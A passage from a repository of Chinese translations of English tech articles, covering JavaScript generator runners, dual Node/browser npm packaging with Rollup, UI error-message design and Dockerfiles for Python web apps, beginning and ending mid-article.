ease the job of finding the right colors. The best way to learn to create stunning color schemes is to practice so do yourself a favor and play with colors. ================================================ FILE: TODO/how-to-use-generators.md ================================================ > * 原文地址:[How to Use Generators in JavaScript](http://blog.bloomca.me/2017/12/19/how-to-use-generators.html) > * 原文作者:[Seva Zaikov](http://blog.bloomca.me/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-generators.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-generators.md) > * 译者:[jonjia](https://github.com/jonjia) > * 校对者:[vuuihc](https://github.com/vuuihc) [congFly](https://github.com/congFly) # 如何在 JavaScript 中使用 Generator Generator 是一种非常强力的语法,但它的使用并不广泛(参见下图 twitter 上的调查!)。为什么这样?相比于 async/await,它的使用更复杂,调试起来也不太容易(大多数情况又回到了从前),即使我们可以通过非常简单的方式获得类似体验,但是人们一般会更喜欢 async/await。 ![1513838054(1).jpg](https://i.loli.net/2017/12/21/5a3b56e1f35e4.jpg) 然而,Generator 允许我们通过 `yield` 关键字遍历我们自己的代码!这是一种超级强大的语法,实际上,我们可以操纵执行过程!从不太明显的取消操作开始,让我们先从同步操作开始吧。 > 我为文中提到的功能创建了一个代码仓库 —— [https://github.com/Bloomca/obscure-generator-fns](https://github.com/Bloomca/obscure-generator-fns) ## 批处理 (或计划) 执行 Generator 函数会返回一个遍历器对象,那意味着通过它我们可以同步地遍历。为什么我们想这么做?原因有可能是为了实现批处理。想象一下,我们需要下载 10000 个项目,并在表格中逐行的显示它们(不要问我为什么,假设我们不使用框架)。虽然立刻展示它们没有什么不好的,但有时这可能不是最好的解决方案 —— 也许你的 MacBook Pro 可以轻松处理它,但普通人的电脑不能(更别说手机了)。所以,这意味着我们需要用某种方式延迟执行。 > 请注意,这个例子是关于性能优化,在你遇到这个问题之前,没必要这样做 —— [过早优化是万恶之源](https://en.wikipedia.org/wiki/Program_optimization#When_to_optimize)! ``` // 最初的同步实现版本 function renderItems(items) { for (item of items) { renderItem(item); } } // 函数将由我们的执行器遍历执行 // 实际上,我们可以用相同的同步方式来执行它! function* renderItems(items) { // 我使用 for..of 遍历方法来避免新函数的产生 for (item of items) { yield renderItem(item); } } ``` 没有什么区别吧?那么,这里的区别在于,现在我们可以在不改变源代码的情况下以不同方式运行这个函数。实际上,正如我之前提到的,没有必要等待,我们可以同步执行它。所以,来调整下我们的代码。在每个 `yield` 后边加一个 4 ms(JavaScript VM 中的一个心跳) 的延迟怎么样?我们有 10000 个项目,下载将需要 4 秒 —— 还不错,假设我想在 2 秒之内渲染完毕,很容易想到的方法是每次渲染 2 个。突然使用 Promise 的解决方案将变得更加复杂 —— 我们必须要传递另一个参数:每次渲染的项目个数。通过我们的执行器,我们仍然需要传递这个参数,但好处是对我们的 `renderItems` 方法完全没有影响。 ``` function runWithBatch(chunk, fn, ...args) { const gen = fn(...args); let num = 0; return new Promise((resolve, promiseReject) => { callNextStep(); function callNextStep(res) { let result; try { result = gen.next(res); } catch (e) { return reject(e); } next(result); } function next({ done, value }) { if (done) { return resolve(value); } // every chunk we sleep for a tick if (num++ % chunk === 0) { return sleep(4).then(proceed); } else { return proceed(); } function proceed() { return callNextStep(value); } } }); } // 第一个参数 —— 每批处理多少个项目 const items = [...]; batchRunner(2, function*() { for (item of items) { yield renderItem(item); } }); ``` 正如你所看到的,我们可以轻松改变每批处理项目的个数,不去考虑执行器,回到正常的同步执行方式 —— 所有这些都不会影响我们的 `renderItems` 方法。 ## 取消 我们来考虑下传统的功能 —— 取消。在我 [promises cancellation in general](http://blog.bloomca.me/2017/12/04/how-to-cancel-your-promise.html) ([译文:如何取消你的 Promise?](https://juejin.im/post/5a32705a6fb9a045117127fa)) 这篇文章中已经详细谈到了。所以我会使用其中一些代码: ``` function runWithCancel(fn, ...args) { const gen = fn(...args); let cancelled, cancel; const promise = new Promise((resolve, promiseReject) => { // define cancel function to return it from our fn // 定义 cancel 方法,并返回它 cancel = () => { cancelled = true; reject({ reason: 'cancelled' }); }; onFulfilled(); function onFulfilled(res) { if (!cancelled) { let result; try { result = gen.next(res); } catch (e) { return reject(e); } next(result); return null; } } function onRejected(err) { var result; try { result = gen.throw(err); } catch (e) { return reject(e); } next(result); } function next({ done, value }) { if (done) { return resolve(value); } // 假设我们总是接收 Promise,所以不需要检查类型 return value.then(onFulfilled, onRejected); } }); return { promise, cancel }; } ``` 这里最好的部分是我们可以取消所有还没来得及执行的请求(也可以给我们的执行器传递类似 [AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) 的对象参数,所以它甚至可以取消当前的请求!),而且我们没有修改过自己业务逻辑中的一行的代码。 ## 暂停/恢复 另一个特殊的需求可能是暂停/恢复功能。你为什么想要这个功能?想象一下,我们渲染了 10000 行数据,而且速度非常慢,我们希望给用户提供暂停/恢复渲染的功能,这样他们就可以停止所有的后台工作读取已经下载的内容了。让我们开始吧! ``` // 实现渲染的方法还是一样的 function* renderItems() { for (item of items) { yield renderItem(item); } } function runWithPause(genFn, ...args) { let pausePromiseResolve = null; let pausePromise; const gen = genFn(...args); const promise = new Promise((resolve, reject) => { onFulfilledWithPromise(); function onFulfilledWithPromise(res) { if (pausePromise) { pausePromise.then(() => onFulfilled(res)); } else { onFulfilled(res); } } function onFulfilled(res) { let result; try { result = gen.next(res); } catch (e) { return reject(e); } next(result); return null; } function onRejected(err) { var result; try { result = gen.throw(err); } catch (e) { return reject(e); } next(result); } function next({ done, value }) { if (done) { return resolve(value); } // 假设我们总是接收 Promise,所以不需要检查类型 return value.then(onFulfilledWithPromise, onRejected); } }); return { pause: () => { pausePromise = new Promise(resolve => { pausePromiseResolve = resolve; }); }, resume: () => { pausePromiseResolve(); pausePromise = null; }, promise }; } ``` 调用这个执行器,可以给我们返回一个具有暂停/恢复功能的对象,所有这些都可以轻松得到,还是使用我们之前的业务代码!所以,如果你有很多"沉重"的请求链,需要耗费很长时间,而你想给你的用户提供暂停/恢复功能的话,你可以随意在你的代码中实现这个执行器。 ## 错误处理 我们有个神秘的 `onRejected` 调用,这是我们这部分谈论的主题。如果我们使用正常的 async/await 或 Promise 链式写法,我们将通过 try/catch 语句来进行错误处理,如果不添加大量的逻辑代码就很难进行错误处理。通常情况下,如果我们需要以某种方式处理错误(比如重试),我们只是在 Promise 内部进行处理,这将会回调自己,可能再次回到同样的点。而且,这还不是一个通用的解决方案 —— 可悲的是,在这里甚至 Generator 也不能帮助我们。我们发现了 Generator 的局限 —— 虽然我们可以控制执行流程,但不能移动 Generator 函数的主体;所以我们不能后退一步,重新执行我们的命令。一个可行的解决方案是使用 [command pattern](https://en.wikipedia.org/wiki/Command_pattern), 它告诉了我们 `yield` 的结果的数据结构 —— 应该是我们需要执行此命令需要的所有信息,这样我们就可以再次执行它了。所以,我们的方法需要改为: ``` function* renderItems() { for (item of items) { // 我们需要将所有东西传递出去: // 方法, 内容, 参数 yield [renderItem, null, item]; } } ``` 正如你所看到的,这使得我们不清楚发生了什么 —— 所以,也许最好是写一些 `wrapWithRetry` 方法,它会检查 `catch` 代码块中的错误类型并再次尝试。但是我们仍然可以做一些不影响我们功能的事情。例如,我们可以增加一个关于忽略错误的策略 —— 在 async/await 中我们不得不使用 try/catch 包装每个调用,或者添加空的 `.catch(() => {})` 部分。有了 Generator,我们可以写一个执行器,忽略所有的错误。 ``` function runWithIgnore(fn, ...args) { const gen = fn(...args); return new Promise((resolve, promiseReject) => { onFulfilled(); function onFulfilled(res) { proceed({ data: res }); } // 这些是 yield 返回的错误 // 我们想忽略它们 // 所以我们像往常一样做,但不去传递出错误 function onRejected(error) { proceed({ error }); } function proceed(data) { let result; try { result = gen.next(data); } catch (e) { // 这些错误是同步错误(比如 TypeError 等) return reject(e); } // 为了区分错误和正常的结果 // 我们用它来执行 next(result); } function next({ done, value }) { if (done) { return resolve(value); } // 假设我们总是接收 Promise,所以不需要检查类型 return value.then(onFulfilled, onRejected); } }); } ``` ## 关于 async/await Async/await 是现在的首选语法(甚至 [co](https://github.com/tj/co#co-v4) 也谈到了它 ),这也是未来。但是,Generator 也在 ECMAScript 标准内,这意味着为了使用它们,除了写几个工具函数,你不需要任何东西。我试图向你们展示一些不那么简单的例子,这些实例的价值取决于你的看法。请记住,没有那么多人熟悉 Generator,并且如果在整个代码库中只有一个地方使用它们,那么使用 Promise 可能会更容易一些 —— 但是另一方面,通过 Generator 某些问题可以被优雅和简洁的处理。 明智地选择 —— 能力越大,责任越重(蜘蛛侠 2,2004)! ### 相关文章 * 15 Dec 2017 » [How to Push a Folder to Github Pages](/2017/12/15/how-to-push-folder-to-github-pages.html) * 04 Dec 2017 » [How to Cancel Your Promise](/2017/12/04/how-to-cancel-your-promise.html) ([译文:如何取消你的 Promise?](https://juejin.im/post/5a32705a6fb9a045117127fa)) * 17 Nov 2017 » [Git Beyond the Basics](/2017/11/17/git-beyond-the-basics.html) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-write-a-javascript-package-for-both-node-and-the-browser.md ================================================ > * 原文地址:[How to write a JavaScript package for both Node and the browser](https://nolanlawson.com/2017/01/09/how-to-write-a-javascript-package-for-both-node-and-the-browser/) * 原文作者:[Nolan Lawson](https://nolanlawson.com/about/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[luoyaqifei](http://www.zengmingxia.com) * 校对者:[fghpdf](https://github.com/fghpdf),[Romeo0906](https://github.com/Romeo0906) # 怎样写一个能同时用于 Node 和浏览器的 JavaScript 包?# 我在这个问题上见过很多困惑,即使是很有经验的 JavaScript 开发者也可能难以把握其中的巧妙之处。因此我认为值得为它书写一小段教程。 假设你有一个 JavaScript 的模块想要发布到 npm 上,它是同时适用于 Node 和浏览器的。但是请注意!这个特殊的模块在 Node 版本和浏览器版本上的实现有着细微的区别。 这种情况出现得实在频繁,因为在 Node 和浏览器间有着很多微小的环境差别。在这种情况下,可以用比较巧妙的方法来正确地实现,尤其是当你在尝试着使用最小的 browser 包(bundle)来优化的时候。 ### 让我们构建一个 JS 包 ### 因此让我们来写一个小的 JavaScript 包,叫做 `base64-encode-string`。它所做的只是接收一个字符串作为输入,输出其 base64 编码的版本。 对于浏览器来说,这很简单:我们只需要使用自带的 `btoa` 函数: ``` module.exports = function (string) { return btoa(string); }; ``` 然而在 Node 里并没有 `btoa` 函数。因此,作为替代,我们需要自己创建一个 `Buffer`,然后在上面调用 [buffer.toString()](https://nodejs.org/api/buffer.html#buffer_buf_tostring_encoding_start_end): ``` module.exports = function (string) { return Buffer.from(string, 'binary').toString('base64'); }; ``` 对于一个字符串,这两者都应提供其正确的 base64 编码版本,比如: ``` var b64encode = require('base64-encode-string'); b64encode('foo'); // Zm9v b64encode('foobar'); // Zm9vYmFy ``` 现在我们只需要一些方法来检测我们究竟是在浏览器上运行还是在 Node 上,好让我们能保证使用正确的版本。Browserify 和 Webpack 都定义了一个叫 `process.browser` 的字段,它会返回 `true`(译者注:即浏览器环境下),然而在 Node 上这个字段返回 `false`。所以我们只需要简单地: ``` if (process.browser) { module.exports = function (string) { return btoa(string); }; } else { module.exports = function (string) { return Buffer.from(string, 'binary').toString('base64'); }; } ``` 现在我们只需要把我们的文件命名为 `index.js`,键入 `npm publish`,我们就完成了,对不对?好的吧,这个方法有效,但不幸的是,这种实现有一个巨大的性能问题。 因为我们的 `index.js` 文件包含了对 Node 自带的 `process` 和 `Buffer` 模块的引用,Browserify 和 Webpack 都会自动引入 [其](https://github.com/defunctzombie/node-process) [polyfill](https://github.com/feross/buffer),来将它们打包进这些模块。 对于这个简单的九行模块,我算了一下, Browserify 和 Webpack 会创建 [一个压缩后有 24.7KB 的包](https://gist.github.com/nolanlawson/6891be612c8faca42d2d9492b0d54e24) (7.6KB min+gz)。对于这种东西,用掉的空间实在是太多,因为在浏览器里,只需要 `btoa` 就能表示这个。 ### “browser” 字段,我该如何爱你 ### 如果你在 Browserify 或者 Webpack 文档里找解决这个问题的提示,你可能最后会发现 [node-browser-resolve](https://github.com/defunctzombie/node-browser-resolve)。这是一个对于 `package.json` 内 `"browser"` 字段的规范,可以被用于定义在浏览器版本构建时需要被换掉的东西。 使用这种技术,我们可以将接下来这段加入我们的 `package.json`: ``` { /* ... */ "browser": { "./index.js": "./browser.js" } } ``` 然后将函数分割成两个不同的文件:`index.js` 和 `browser.js`: ``` // index.js module.exports = function (string) { return Buffer.from(string, 'binary').toString('base64'); }; // browser.js module.exports = function (string) { return btoa(string); }; ``` 有了这次改进以后,Browserify 和 Webpack 会给出 [更加合理的包](https://gist.github.com/nolanlawson/a8945de1dd52fdc9b4772a2056d3c3b7):Browserify 的包压缩后是 511 字节(315 min+gz),Webpack 的包压缩后是 550 字节(297 min+gz)。 当我们将我们的包发布到 npm 时,在 Node 里运行 `require('base64-encode-string')` 的人将得到 Node 版的代码,在 Browserfy 和 Webpack 里跑的人会得到浏览器版的代码。 对于 Rollup 来说,这就有点复杂了,但也不需要太多额外的工作。Rollup 用户需要使用 [rollup-plugin-node-resolve](https://github.com/rollup/rollup-plugin-node-resolve) 并在选项里将 `browser` 设置为 `true`。 对 jspm 来说,很不幸地,[没有对 “browser” 字段的支持](https://github.com/jspm/jspm-cli/issues/1675),但是 jspm 用户可以通过 `require('base64-encode-string/browser')` 或者 `jspm install npm:base64-encode-string -o "{main:'browser.js'}"` 来迂回地解决问题。另一种方法是,包的作者可以在他们的 `package.json` 里 [指定一个 “jspm” 字段](https://github.com/jspm/registry/wiki/Configuring-Packages-for-jspm#prefixing-configuration)。 ### 进阶技巧 ### 这种直接使用的 `"browser"` 方法可以工作得很好,但是对于大型项目来说,我发现它在 `package.json` 和代码库间引入了一种尴尬的耦合。比如说,我们的 `package.json` 会很快长成这样: ``` { /* ... */ "browser": { "./index.js": "./browser.js", "./widget.js": "./widget-browser.js", "./doodad.js": "./doodad-browser.js", /* etc. */ } } ``` 在这种情况下,任何时候你想要一个适配于浏览器的模块,都需要分别创建两个文件,并且要记住在 `"browser"` 字段上添加额外行来将它们连接起来。还要注意不能拼错任何东西! 并且,你会发现你在费尽心机地将微小的代码提取到分离的模块里,仅仅是因为你想要避免 `if (process.browser) {}` 检查。当这些 `*-browser.js` 文件积累起来的时候,它们会开始让代码库变得很难跳转。 如果这种情况变得实在太笨重了,有一些别的解决方案。我自己的偏好是使用 Rollup 作为构建工具,来自动地将单个代码库分割到不同的 `index.js` 和 `browser.js` 文件里。这对于将你提供给用户的代码的解模块化有额外的价值,[节省了空间和时间](https://nolanwlawson.wordpress.com/2016/08/15/the-cost-of-small-modules/)。 要这样做的话,先安装 `rollup` 和 `rollup-plugin-replace`,然后定义一个 `rollup.config.js` 文件: ``` import replace from 'rollup-plugin-replace'; export default { entry: 'src/index.js', format: 'cjs', plugins: [ replace({ 'process.browser': !!process.env.BROWSER }) ] }; ``` (我们将使用 `process.env.BROWSER` 作为一种方便地在浏览器构建和 Node 构建间切换的方式。) 接下来,我们可以创建一个带有单个函数的 `src/index.js` 文件,使用普通的 `process.browser` 条件: ``` export default function base64Encode(string) { if (process.browser) { return btoa(string); } else { return Buffer.from(string, 'binary').toString('base64'); } } ``` 然后将 `prepublish` 步骤添加到 `package.json` 内,来生成文件: ``` { /* ... */ "scripts": { "prepublish": "rollup -c > index.js && BROWSER=true rollup -c > browser.js" } } ``` 生成的文件都相当直白易读: ``` // index.js 'use strict'; function base64Encode(string) { { return Buffer.from(string, 'binary').toString('base64'); } } module.exports = base64Encode; // browser.js 'use strict'; function base64Encode(string) { { return btoa(string); } } module.exports = base64Encode; ``` 你将注意到,Rollup 会按需自动地将 `process.browser` 转换成 `true` 或者 `false`,然后去掉那些无用代码。所以在生成的浏览器包里不会有对于 `process` 或者 `Buffer` 的引用。 使用这个技巧,在你的代码库里可以有任意个的 `process.browser` 切换,并且发布的结果是两个小的集中的 `index.js` 和 `browser.js` 文件,其中对于 Node 只有 Node 相关的代码,对于浏览器只有浏览器相关的代码。 作为附带的福利,你可以配置 Rollup 来生成 ES 模块构建,IIFE 构建,或者 UMD 构建。如果你想要示例的话,可以查看我的项目 [marky](https://github.com/nolanlawson/marky),这是一个拥有多个 Rollup 构建目标的简单库。 在这篇文章里描述的实际项目(`base64-encode-string`)也同样被 [发布到 npm 上](https://www.npmjs.com/package/base64-encode-string) ,你可以审视它,看看它是怎么做到的。源码 [在 GitHub 上](https://github.com/nolanlawson/base64-encode-string)。 ================================================ FILE: TODO/how-to-write-a-perfect-error-message.md ================================================ > * 原文地址:[How to Write a Perfect Error Message](https://uxplanet.org/how-to-write-a-perfect-error-message-da1ca65a8f36) > * 原文作者:[Vitaly Dulenko](https://uxplanet.org/@atko_o) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-a-perfect-error-message.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-a-perfect-error-message.md) > * 译者: [Cherry](https://github.com/sunshine940326) > * 校对者:[lampui](https://github.com/lampui) [shawnchenxmu](https://github.com/shawnchenxmu) # 怎么写出完美的错误消息 ![](https://cdn-images-1.medium.com/max/2000/1*xzoYpYHX1Cgb9cuUi6w-LQ.png) 每一个系统都会出现错误。这可能是用户的错误也可能是系统的错误。在这两种情况下,正确处理错误非常重要,因为它们对于良好的用户体验至关重要。 **一个好的错误消息应该包括下面这 3 个重要部分:** 1. 明确的文字信息。 2. 合适的显示位置。 3. 好的视觉设计。 ### **明确的文字**信息 #### 1. 错误消息应该明确 错误消息应该明确地定义是什么错误,错误是怎样发生的并且应该怎样处理。将错误消息想象为你和用户之间的对话:这就应该使得错误消息被拟人化。确保你的错误消失是礼貌的、易懂的、友好的和无术语的。 ![](https://cdn-images-1.medium.com/max/1600/1*2RdNRoDJmqfArWaViXal-g.png) #### 2. 错误信息应该是有用的 只告诉用户哪些地方出错了是不够的。你要告诉读者怎样才能又快又方便的解决问题。 例如,微软描述了错误,并在错误消息中提供了一个解决方案,这样你就可以立即修复这个问题。 ![](https://cdn-images-1.medium.com/max/1600/1*9eTjcpNOWtE7pEWXpiPivA.png) #### 3. 错误消息应该针对具体情况 很多时候,网站对于所有的验证状态只使用一条错误消息。你没有填写邮箱 — 网站提示“请输入有效的邮箱地址”,你漏了“@”符号 — 网站也是提示“请输入有效的邮箱地址”。MailChimp 处理这种情况有另一种方式:他们有 3 个错误消息对应不同的邮箱验证状态。第一个检查是检查在提交表单的时候检查输入是否为空。其他的两个检查是检查是否有“@”符号和“.”符号(“请输入内容”并不是一个很好的例子,因为还并不清楚你需要输入什么样的值。) 向用户显示实际的错误消息,而不是通用的错误消息。 ![](https://cdn-images-1.medium.com/max/1600/1*cbmeYu8zkwhuw-I6fxn5gQ.png) #### 4. 错误信息应该是礼貌的 如果你的用户犯了错误请不要粗鲁地对待他们。对你的用户客气一点,让他们感觉舒适和方便。使用你品牌的声音和个性化的错误消息是一个好的选择。 ![](https://cdn-images-1.medium.com/max/1600/1*4C2I4mLoV7A2Xclp5xXYmg.png) #### 5. 适当的时候使用幽默的语言 在你的错误消息中小心地使用幽默。首先,错误信息应该是提供信息和有用的。然后,您可以改进用户体验,如果适当的话,在错误消息中添加一些幽默性。 ![](https://cdn-images-1.medium.com/max/1600/1*cVp9802WuM8W1pb4kSRH-A.png) ### 将错误消息放置在合适的位置 好的错误信息是在需要时可以看到的错误信息。避免错误摘要,在与它们相关的 UI 元素旁边放置错误消息。 ![](https://cdn-images-1.medium.com/max/1600/1*90bO1c3llbghosgQTH0hwA.png) ### 为错误消息提供合适的视觉设计 错误消息应该清晰可见。使用对比强烈的文本颜色和背景颜色,这样用户就可以很容易地注意到和阅读消息。 通常情况下,红色用于错误消息文本。在某些情况下,使用黄色或橙色作为某些资源状态因为红色对用户来说过于紧张。在这两种情况下,请确保错误文本是易读的,与背景颜色有明显的对比。别忘了在颜色旁边提供一个相关的图标,帮助色盲人士阅读。 ![](https://cdn-images-1.medium.com/max/1600/1*Gny4mwee7oJL1vQsNgJhkg.png) ### 结语 错误消息是改善用户体验、分享您的品牌声音和个性的绝佳机会。注重良好的错误消息,要综合考虑语言、布局和视觉设计等各个方面。使它成为一个真正的完美的产品。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-write-dockerfiles-for-python-web-apps.md ================================================ > * 原文地址:[How to write Dockerfiles for Python Web Apps](https://blog.hasura.io/how-to-write-dockerfiles-for-python-web-apps-6d173842ae1d) > * 原文作者:[Praveen Durairaj](https://blog.hasura.io/@praveenweb?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-dockerfiles-for-python-web-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-write-dockerfiles-for-python-web-apps.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[Starriers](https://github.com/Starriers), [steinliber](https://github.com/steinliber) # 为 Python Web App 编写 Dockerfiles ![](https://cdn-images-1.medium.com/max/800/1*8rsXezmgl9VTA4zqCcUsfw.jpeg) ### TL;DR 本文涵盖了从创建简单的 Dockerfile 到生产环境多级构建 Python 应用的例子。以下为本指南的内容摘要: * 使用合适的基础镜像(开发环境使用 debian,生产环境使用 alpine)。 * 在开发时使用 `gunicorn` 进行热加载。 * 优化 Docker 的 cache layer(缓存层)—— 按照正确的顺序使用命令,仅在必要时运行 `pip install`。 * 使用 `flask` 的 static 及 template 目录部署静态文件(比如 React、Vue、Angular 生成的 bundle)。 * 使用 `alpine` 进行生产环境下的多级构建,减少最终镜像文件的大小。 * \#彩蛋 — 在开发时可以用 gunicorn 的 `--reload` 与 `--reload_extra_files` 监视文件(包括 html、css 及 js)的修改。 如果你需要以上步骤的代码,请参考 [GitHub repo](https://github.com/praveenweb/python-docker). ### 内容 1. 简单的 Dockerfile 与 .dockerignore 2. 使用 gunicorn 实现热加载 3. 运行一个单文件 python 脚本 4. 部署静态文件 5. 生产环境中的直接构建 6. 生产环境中的多级构建 假设我们有一个名为 python-app 的应用,为其准备一个简单的目录结构。在顶级目录下,包含 `Dockerfile` 以及 `src` 文件夹。 python app 的源码就存放在 `src` 目录中,app 的依赖关系保存在 `requirements.txt` 里。为了简洁起见,我们假设 server.py 定义了一个运行于 8080 端口的 flask 服务。 ``` python-app ├── Dockerfile └── src └── server.py └── requirements.txt ``` ### 1. 简单的 Dockerfile 样例 ```docker FROM python:3.6 # 创建 app 目录 WORKDIR /app # 安装 app 依赖 COPY src/requirements.txt ./ RUN pip install -r requirements.txt # 打包 app 源码 COPY src /app EXPOSE 8080 CMD [ "python", "server.py" ] ``` 我们将使用最新版本的 `python:3.6` 作为基础镜像。 在构建镜像时,docker 会获取所有位于 `context` 目录下的文件。为了提高 docker 构建的速度,可以在 context 目录中添加 `.dockerignore` 文件来排除不需要的文件与目录。 通常,你的 `.dockerignore` 文件件应该如下所示: ```text .git __pycache__ *.pyc *.pyo *.pyd .Python env ``` 构建并运行此镜像: ```bash $ cd python-docker $ docker build -t python-docker-dev . $ docker run --rm -it -p 8080:8080 python-docker-dev ``` 你将能在 `[http://localhost:8080](http://localhost:8080.)` 访问此 app。使用 `Ctrl+C` 组合键可以退出程序。 现在,假设你希望在每次修改代码(比如在本地部署时)时都运行以上代码,那么你需要在启停 python 服务时将代码源文件挂载到容器中。 ``` $ docker run --rm -it -p 8080:8080 -v $(pwd):/app \ python-docker-dev bash root@id:/app# python src/server.py ``` ### 2. 使用 Gunicorn 实现热更新 [gunicorn](http://gunicorn.org) 是一款运行于 Unix 下的 Python WSGI HTTP server,使用的是 pre-fork worker 模型(注,Arbiter 是 gunicorn 的 master,因此称 gunicorn 为 pre-fork worker)。你可以使用各种各样的选项来配置 gunicorn。向 gunicorn 命令中传入 `--reload` 或是将 `reload` 写入配置文件,就可以让 gunicorn 在有文件发生变化时自动重启 python 服务。 ```docker FROM python:3.6 # 创建 app 目录 WORKDIR /app # 安装 app 依赖 COPY gunicorn_app/requirements.txt ./ RUN pip install -r requirements.txt # 打包 app 源码 COPY gunicorn_app /app EXPOSE 8080 ``` 我们将构建镜像并运行 gunicorn,以便在 `app` 目录下文件发生变动时对代码进行 rebuild。 ``` $ cd python-docker $ docker build -t python-hot-reload-docker . $ docker run --rm -it -p 8080:8080 -v $(pwd):/app \ python-hot-reload-docker bash root@id:/app# gunicorn --config ./gunicorn_app/conf/gunicorn_config.py gunicorn_app:app ``` 一切在 `app` 目录下 python 文件的更改都会触发 rebuild,发生的变化都能在 `[http://localhost:8080](http://localhost:8080.)` 上实时展示。请注意,我们已经将文件挂载到了容器中,因此 gunicorn 才能正常工作。 **其它格式的文件怎么办?** 如果你希望 gunicorn 在监视代码变动的时候也监视其它类型的文件(如 template、view 之类的文件),可以在 `reload_extra_files` 参数中进行指定。此参数接受数组形式的多个文件名。 ### 3. 运行一个单文件 python 脚本 你可以通过 docker run,使用 python 镜像来简单地运行 python 单文件脚本。 ```bash docker run -it --rm --name single-python-script -v "$PWD":/app -w /app python:3 python your-daemon-or-script.py ``` 你也可以给脚本传递一些参数。在上面的例子中,我们就已经挂载了当前工作目录,也就是说可以将目录中的文件当做参数传递。 ### 4. 部署静态文件 上面的 Dockerfile 假定了你是使用 Python 运行一个 API 服务器。如果你想用 Python 为 React.js、Vue.js、Angular.js app 提供服务,可以使用 Flask。Flask 为渲染静态文件提供了一种便捷的方式:html 文件放在 `templates` 目录中,css、js 及图片放在 `static` 目录中。 请[在此 repo](https://github.com/praveenweb/python-docker/tree/master/static_app) 中查看简单的 hello world 静态 app 的目录结构。 ```docker FROM python:3.6 # 创建 app 目录 WORKDIR /app # 安装 app 依赖 COPY static_app/requirements.txt ./ RUN pip install -r requirements.txt # 打包 app 源码 COPY static_app /app EXPOSE 8080 CMD ["python","server.py"] ``` In your server.py, ```python if __name__ == '__main__': app.run(host='0.0.0.0') ``` 请注意,host 需要设置为 `0.0.0.0` - 这样可以让你的服务在容器外被访问。如果不设置此参数,host 会默认设为 `localhost`。 ### 5. 生产环境中的直接构建 ```docker FROM python:3.6 # 创建 app 目录 WORKDIR /app # 安装 app 依赖 COPY gunicorn_app/requirements.txt ./ RUN pip install -r requirements.txt # 打包 app 源码 COPY . /app EXPOSE 8080 CMD ["gunicorn", "--config", "./gunicorn_app/conf/gunicorn_config.py", "gunicorn_app:app"] ``` 构建并运行这个一体化镜像: ```bash $ cd python-docker $ docker build -t python-docker-prod . $ docker run --rm -it -p 8080:8080 python-docker-prod ``` 由于底层为 Debian,构建完成后镜像约为 700MB(具体数值取决于你的源码)。下面探讨如何减小这个文件的大小。 ### 6. 生产环境中的多级构建 使用多级构建时,将在 Dockerfile 中使用多个 `FROM` 语句,但最后仅会使用最终阶段构建的文件。这样,得到的镜像将仅包含生产服务器中所需的依赖,理想情况下文件将非常小。 当你需要使用依赖于系统的模块或需要编译的模块时,这种构建模式十分有用。比如 `pycrypto` 和 `numpy` 就很适合这种方法。 ```docker # ---- 基础 python 镜像 ---- FROM python:3.6 AS base # 创建 app 目录 WORKDIR /app # ---- 依赖 ---- FROM base AS dependencies COPY gunicorn_app/requirements.txt ./ # 安装 app 依赖 RUN pip install -r requirements.txt # ---- 复制文件并 build ---- FROM dependencies AS build WORKDIR /app COPY . /app # 在需要时进行 Build 或 Compile # --- 使用 Alpine 发布 ---- FROM python:3.6-alpine3.7 AS release # 创建 app 目录 WORKDIR /app COPY --from=dependencies /app/requirements.txt ./ COPY --from=dependencies /root/.cache /root/.cache # 安装 app 依赖 RUN pip install -r requirements.txt COPY --from=build /app/ ./ CMD ["gunicorn", "--config", "./gunicorn_app/conf/gunicorn_config.py", "gunicorn_app:app"] ``` 使用上面的方法,用 Alpine 构建的镜像文件大小约 90MB,比之前少了 8 倍。使用 `alpine` 版本进行构建能有效减小镜像的大小。 **注意:**上面的 Dockerfiles 是为 `python 3` 编写的,你可以只做少数修改就能将其改为 `python 2` 版本。如果你要部署的是 `django` 应用,也应该能通过少数改动就做出可部署于生产环境的 Dockerfiles。 如果你对前面的方法有任何建议,或希望看到别的用例,请告知作者。 欢迎加入 [Reddit](https://www.reddit.com/r/flask/comments/80css4/how_to_write_dockerfiles_for_python_web_apps/) 或 [HackerNews](https://news.ycombinator.com/item?id=16471630) 参与讨论 :) * * * 此外,你是否试过将 python web app 